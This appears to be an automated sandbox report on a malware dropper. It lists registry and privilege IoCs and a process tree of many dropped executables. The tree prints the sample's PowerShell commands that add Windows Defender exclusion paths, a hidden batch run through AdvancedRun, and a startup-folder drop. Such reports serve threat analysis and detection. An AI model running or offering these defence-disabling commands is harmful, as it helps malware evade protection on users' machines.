Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Process not Found

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2112	powershell.exe
2112	powershell.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe
1452	Sun15dbd675f871ca.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3232	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4328	luU0_5DplmXzND2h2sA9vflS.exe
6020	8BB6.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
4888	1821053.scr

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	4628	svchost.exe
Token: SeSystemtimePrivilege	4628	svchost.exe
Token: SeIncBasePriorityPrivilege	4628	svchost.exe
Token: SeShutdownPrivilege	1848	svchost.exe
Token: SeCreatePagefilePrivilege	1848	svchost.exe
Token: SeShutdownPrivilege	1848	svchost.exe
Token: SeCreatePagefilePrivilege	1848	svchost.exe
Token: SeShutdownPrivilege	1848	svchost.exe
Token: SeCreatePagefilePrivilege	1848	svchost.exe
Token: SeShutdownPrivilege	1560	svchost.exe
Token: SeCreatePagefilePrivilege	1560	svchost.exe
Token: SeTakeOwnershipPrivilege	4948	WaaSMedicAgent.exe
Token: SeSecurityPrivilege	4948	WaaSMedicAgent.exe
Token: SeRestorePrivilege	4948	WaaSMedicAgent.exe
Token: SeBackupPrivilege	4948	WaaSMedicAgent.exe
Token: SeCreateTokenPrivilege	1008	Sun15901f2f025e.exe
Token: SeAssignPrimaryTokenPrivilege	1008	Sun15901f2f025e.exe
Token: SeLockMemoryPrivilege	1008	Sun15901f2f025e.exe
Token: SeIncreaseQuotaPrivilege	1008	Sun15901f2f025e.exe
Token: SeMachineAccountPrivilege	1008	Sun15901f2f025e.exe
Token: SeTcbPrivilege	1008	Sun15901f2f025e.exe
Token: SeSecurityPrivilege	1008	Sun15901f2f025e.exe
Token: SeTakeOwnershipPrivilege	1008	Sun15901f2f025e.exe
Token: SeLoadDriverPrivilege	1008	Sun15901f2f025e.exe
Token: SeSystemProfilePrivilege	1008	Sun15901f2f025e.exe
Token: SeSystemtimePrivilege	1008	Sun15901f2f025e.exe
Token: SeProfSingleProcessPrivilege	1008	Sun15901f2f025e.exe
Token: SeIncBasePriorityPrivilege	1008	Sun15901f2f025e.exe
Token: SeCreatePagefilePrivilege	1008	Sun15901f2f025e.exe
Token: SeCreatePermanentPrivilege	1008	Sun15901f2f025e.exe
Token: SeBackupPrivilege	1008	Sun15901f2f025e.exe
Token: SeRestorePrivilege	1008	Sun15901f2f025e.exe
Token: SeShutdownPrivilege	1008	Sun15901f2f025e.exe
Token: SeDebugPrivilege	1008	Sun15901f2f025e.exe
Token: SeAuditPrivilege	1008	Sun15901f2f025e.exe
Token: SeSystemEnvironmentPrivilege	1008	Sun15901f2f025e.exe
Token: SeChangeNotifyPrivilege	1008	Sun15901f2f025e.exe
Token: SeRemoteShutdownPrivilege	1008	Sun15901f2f025e.exe
Token: SeUndockPrivilege	1008	Sun15901f2f025e.exe
Token: SeSyncAgentPrivilege	1008	Sun15901f2f025e.exe
Token: SeEnableDelegationPrivilege	1008	Sun15901f2f025e.exe
Token: SeManageVolumePrivilege	1008	Sun15901f2f025e.exe
Token: SeImpersonatePrivilege	1008	Sun15901f2f025e.exe
Token: SeCreateGlobalPrivilege	1008	Sun15901f2f025e.exe
Token: 31	1008	Sun15901f2f025e.exe
Token: 32	1008	Sun15901f2f025e.exe
Token: 33	1008	Sun15901f2f025e.exe
Token: 34	1008	Sun15901f2f025e.exe
Token: 35	1008	Sun15901f2f025e.exe
Token: SeDebugPrivilege	2276	Sun152e52d07b74d9b5.exe
Token: SeDebugPrivilege	4880	Sun15f67075f27a2b5b.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeRestorePrivilege	2556	WerFault.exe
Token: SeBackupPrivilege	2556	WerFault.exe
Token: SeBackupPrivilege	2556	WerFault.exe
Token: SeDebugPrivilege	4172	6703036.scr
Token: SeDebugPrivilege	5540	netsh.exe
Token: SeCreateTokenPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe
Token: SeAssignPrimaryTokenPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe
Token: SeLockMemoryPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe
Token: SeIncreaseQuotaPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe
Token: SeMachineAccountPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe
Token: SeTcbPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe
Token: SeSecurityPrivilege	5548	wUd40ruwE9QmwiLaM7Ay04NP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 2400	4816	setup_x86_x64_install.exe	86
PID 4816 wrote to memory of 2400	4816	setup_x86_x64_install.exe	86
PID 4816 wrote to memory of 2400	4816	setup_x86_x64_install.exe	86
PID 2400 wrote to memory of 932	2400	setup_installer.exe	87
PID 2400 wrote to memory of 932	2400	setup_installer.exe	87
PID 2400 wrote to memory of 932	2400	setup_installer.exe	87
PID 1560 wrote to memory of 2064	1560	svchost.exe	92
PID 1560 wrote to memory of 2064	1560	svchost.exe	92
PID 932 wrote to memory of 1472	932	setup_install.exe	98
PID 932 wrote to memory of 1472	932	setup_install.exe	98
PID 932 wrote to memory of 1472	932	setup_install.exe	98
PID 932 wrote to memory of 3468	932	setup_install.exe	99
PID 932 wrote to memory of 3468	932	setup_install.exe	99
PID 932 wrote to memory of 3468	932	setup_install.exe	99
PID 932 wrote to memory of 5032	932	setup_install.exe	100
PID 932 wrote to memory of 5032	932	setup_install.exe	100
PID 932 wrote to memory of 5032	932	setup_install.exe	100
PID 932 wrote to memory of 860	932	setup_install.exe	101
PID 932 wrote to memory of 860	932	setup_install.exe	101
PID 932 wrote to memory of 860	932	setup_install.exe	101
PID 932 wrote to memory of 3636	932	setup_install.exe	102
PID 932 wrote to memory of 3636	932	setup_install.exe	102
PID 932 wrote to memory of 3636	932	setup_install.exe	102
PID 932 wrote to memory of 4712	932	setup_install.exe	103
PID 932 wrote to memory of 4712	932	setup_install.exe	103
PID 932 wrote to memory of 4712	932	setup_install.exe	103
PID 932 wrote to memory of 4696	932	setup_install.exe	104
PID 932 wrote to memory of 4696	932	setup_install.exe	104
PID 932 wrote to memory of 4696	932	setup_install.exe	104
PID 932 wrote to memory of 4188	932	setup_install.exe	105
PID 932 wrote to memory of 4188	932	setup_install.exe	105
PID 932 wrote to memory of 4188	932	setup_install.exe	105
PID 932 wrote to memory of 3680	932	setup_install.exe	106
PID 932 wrote to memory of 3680	932	setup_install.exe	106
PID 932 wrote to memory of 3680	932	setup_install.exe	106
PID 3468 wrote to memory of 5060	3468	cmd.exe	110
PID 3468 wrote to memory of 5060	3468	cmd.exe	110
PID 3468 wrote to memory of 5060	3468	cmd.exe	110
PID 5032 wrote to memory of 1008	5032	cmd.exe	109
PID 5032 wrote to memory of 1008	5032	cmd.exe	109
PID 5032 wrote to memory of 1008	5032	cmd.exe	109
PID 932 wrote to memory of 1696	932	setup_install.exe	108
PID 932 wrote to memory of 1696	932	setup_install.exe	108
PID 932 wrote to memory of 1696	932	setup_install.exe	108
PID 1472 wrote to memory of 2112	1472	cmd.exe	107
PID 1472 wrote to memory of 2112	1472	cmd.exe	107
PID 1472 wrote to memory of 2112	1472	cmd.exe	107
PID 932 wrote to memory of 4816	932	setup_install.exe	111
PID 932 wrote to memory of 4816	932	setup_install.exe	111
PID 932 wrote to memory of 4816	932	setup_install.exe	111
PID 4712 wrote to memory of 3180	4712	cmd.exe	113
PID 4712 wrote to memory of 3180	4712	cmd.exe	113
PID 4712 wrote to memory of 3180	4712	cmd.exe	113
PID 932 wrote to memory of 2040	932	setup_install.exe	112
PID 932 wrote to memory of 2040	932	setup_install.exe	112
PID 932 wrote to memory of 2040	932	setup_install.exe	112
PID 860 wrote to memory of 1452	860	cmd.exe	121
PID 860 wrote to memory of 1452	860	cmd.exe	121
PID 860 wrote to memory of 1452	860	cmd.exe	121
PID 3636 wrote to memory of 4880	3636	cmd.exe	117
PID 3636 wrote to memory of 4880	3636	cmd.exe	117
PID 4188 wrote to memory of 2068	4188	cmd.exe	115
PID 4188 wrote to memory of 2068	4188	cmd.exe	115
PID 4188 wrote to memory of 2068	4188	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Users\Admin\AppData\Local\Temp\7zS06954724\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS06954724\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:932
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1472
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2112
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3468
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun152bab5a2de.exe
        
        Sun152bab5a2de.exe
        5⤵
        Executes dropped EXE
        
        PID:5060
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5032
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun15901f2f025e.exe
        
        Sun15901f2f025e.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1008
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 1632
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3148
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:860
    - - C:\Users\Admin\AppData\Local\Temp\7zS06954724\Sun15dbd675f871ca.exe
        
        Sun15dbd675f871ca.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1452
      - C:\Users\Admin\Pictures\Adobe Films\zUlC2Q4BfVWeU1lU7qi8JezK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zUlC2Q4BfVWeU1lU7qi8JezK.exe"
        6⤵
        Executes dropped EXE
        
        PID:5156
      - C:\Users\Admin\Pictures\Adobe Films\luU0_5DplmXzND2h2sA9vflS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\luU0_5DplmXzND2h2sA9vflS.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5624
        
        C:\Users\Admin\Pictures\Adobe Films\luU0_5DplmXzND2h2sA9vflS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\luU0_5DplmXzND2h2sA9vflS.exe"
        7⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:4328
      - C:\Users\Admin\Pictures\Adobe Films\9dp4_uPiS4Un9pmFmTxJ04Ij.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\9dp4_uPiS4Un9pmFmTxJ04Ij.exe"
        6⤵
        Executes dropped EXE
        
        PID:2188
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 236
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4112
      - C:\Users\Admin\Pictures\Adobe Films\ytI6Pmp7bpxBzM2ePUadSNg0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ytI6Pmp7bpxBzM2ePUadSNg0.exe"
        6⤵
        Executes dropped EXE
        
        PID:5576
      - C:\Users\Admin\Pictures\Adobe Films\bbHEeUWIbx7KLCOvj8bIUZjE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\bbHEeUWIbx7KLCOvj8bIUZjE.exe"
        6⤵
        Executes dropped EXE
        
        PID:5480
        
        C:\ProgramData\build.exe
        
        "C:\ProgramData\build.exe"
        7⤵
        
        PID:5720
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 1704
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:832
      - C:\Users\Admin\Pictures\Adobe Films\oehnlVZnXu2z_DKRxUV6preg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oehnlVZnXu2z_DKRxUV6preg.exe"
        6⤵
        Executes dropped EXE
        
        PID:5476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5476 -s 276
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5212
      - C:\Users\Admin\Pictures\Adobe Films\qmFIodO0jvQlbVpq3r2VqyDI.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qmFIodO0jvQlbVpq3r2VqyDI.exe"
        6⤵
        Executes dropped EXE
        
        PID:856
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 296
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2900
      - C:\Users\Admin\Pictures\Adobe Films\wUd40ruwE9QmwiLaM7Ay04NP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\wUd40ruwE9QmwiLaM7Ay04NP.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5548
      - C:\Users\Admin\Pictures\Adobe Films\AwvbBpo0VVz5c8sULxb_cbno.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AwvbBpo0VVz5c8sULxb_cbno.exe"
        6⤵
        Executes dropped EXE
        
        PID:5416
        
        C:\Users\Admin\AppData\Roaming\1707690.scr
        
        "C:\Users\Admin\AppData\Roaming\1707690.scr" /S
        7⤵
        Executes dropped EXE
        
        PID:5864
        
        C:\Users\Admin\AppData\Roaming\1821053.scr
        
        "C:\Users\Admin\AppData\Roaming\1821053.scr" /S
        7⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:4888
        
        C:\Users\Admin\AppData\Roaming\4988956.scr
        
        "C:\Users\Admin\AppData\Roaming\4988956.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1904
        
        C:\Users\Admin\AppData\Roaming\5137688.scr
        
        "C:\Users\Admin\AppData\Roaming\5137688.scr" /S
        7⤵
        Executes dropped EXE
        
        PID:1440
        
        C:\Users\Admin\AppData\Roaming\1011117.scr
        
        "C:\Users\Admin\AppData\Roaming\1011117.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5284
      - C:\Users\Admin\Pictures\Adobe Films\mwvoPHNJjiqvyCcvIch3ZVbY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\mwvoPHNJjiqvyCcvIch3ZVbY.exe"
        6⤵
        Executes dropped EXE
        
        PID:5560
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5560 -s 300
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2160
      - C:\Users\Admin\Pictures\Adobe Films\3YbLemIoqe3uurTYdVcLylRr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3YbLemIoqe3uurTYdVcLylRr.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4476
        
        C:\Users\Admin\Pictures\Adobe Films\3YbLemIoqe3uurTYdVcLylRr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3YbLemIoqe3uurTYdVcLylRr.exe"
        7⤵
        Executes dropped EXE
        
        PID:5488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 1940
        7⤵
        Program crash
        
        PID:2848
      - C:\Users\Admin\Pictures\Adobe Films\3mlVFbxNQUHro2vr4i7_r39F.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3mlVFbxNQUHro2vr4i7_r39F.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5600
      - C:\Users\Admin\Pictures\Adobe Films\y24we7dqXEQFnqlu8heyrzOP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\y24we7dqXEQFnqlu8heyrzOP.exe"
        6⤵
        Executes dropped EXE
        
        PID:5076
      - C:\Users\Admin\Pictures\Adobe Films\9QCLebCBwfOGsFtoeWcnmQ6L.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\9QCLebCBwfOGsFtoeWcnmQ6L.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5568
      - C:\Users\Admin\Pictures\Adobe Films\YF7C2qE8B3IsroQPWR6hhwX4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\YF7C2qE8B3IsroQPWR6hhwX4.exe"
        6⤵
        Executes dropped EXE
        
        PID:5620
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 280
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2324
      - C:\Users\Admin\Pictures\Adobe Films\BJTgcaWBDihNFfYPZb3riUwD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\BJTgcaWBDihNFfYPZb3riUwD.exe"
        6⤵
        Executes dropped EXE
        Windows security modification
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\e739ee48-4b26-4abb-9801-20de28aeff73\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e739ee48-4b26-4abb-9801-20de28aeff73\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e739ee48-4b26-4abb-9801-20de28aeff73\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        Executes dropped EXE
        
        PID:2416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e739ee48-4b26-4abb-9801-20de28aeff73\test.bat"
        8⤵
        
        PID:5520
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\BJTgcaWBDihNFfYPZb3riUwD.exe" -Force
        7⤵
        
        PID:5152
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Executes dropped EXE
        
        PID:5720
        
        C:\Users\Admin\Pictures\Adobe Films\BJTgcaWBDihNFfYPZb3riUwD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\BJTgcaWBDihNFfYPZb3riUwD.exe"
        7⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Executes dropped EXE
        
        PID:2400
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 2268
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5024
      - C:\Users\Admin\Pictures\Adobe Films\dhFhEMtMmMVBc81_f9AF5JGm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dhFhEMtMmMVBc81_f9AF5JGm.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5472
        
        C:\Program Files (x86)\Company\NewProduct\inst3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst3.exe"
        7⤵
        Executes dropped EXE
        
        PID:1716
        
        C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
        
        "C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
        7⤵
        Executes dropped EXE
        
        PID:2912
        
        C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        7⤵
        Executes dropped EXE
        
        PID:5496
      - C:\Users\Admin\Pictures\Adobe Films\wRI7TsmDln2jJ9rSQTbwnVME.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\wRI7TsmDln2jJ9rSQTbwnVME.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4044
      - C:\Users\Admin\Pictures\Adobe Films\_m0efJKN5GF8A2EmOOQo35rG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_m0efJKN5GF8A2EmOOQo35rG.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5588
        
        C:\Users\Admin\Pictures\Adobe Films\_m0efJKN5GF8A2EmOOQo35rG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_m0efJKN5GF8A2EmOOQo35rG.exe"
        7⤵
        Executes dropped EXE
        
        PID:1784
      - C:\Users\Admin\Pictures\Adobe Films\4iPdEuZunDzyXSeMKj9mspGT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\4iPdEuZunDzyXSeMKj9mspGT.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4516
      - C:\Users\Admin\Pictures\Adobe Films\OnnbJbZ5pchAYdaTwFNLHw36.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OnnbJbZ5pchAYdaTwFNLHw36.exe"
        6⤵
        Executes dropped EXE
        Drops startup file
        
        PID:5544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe
        
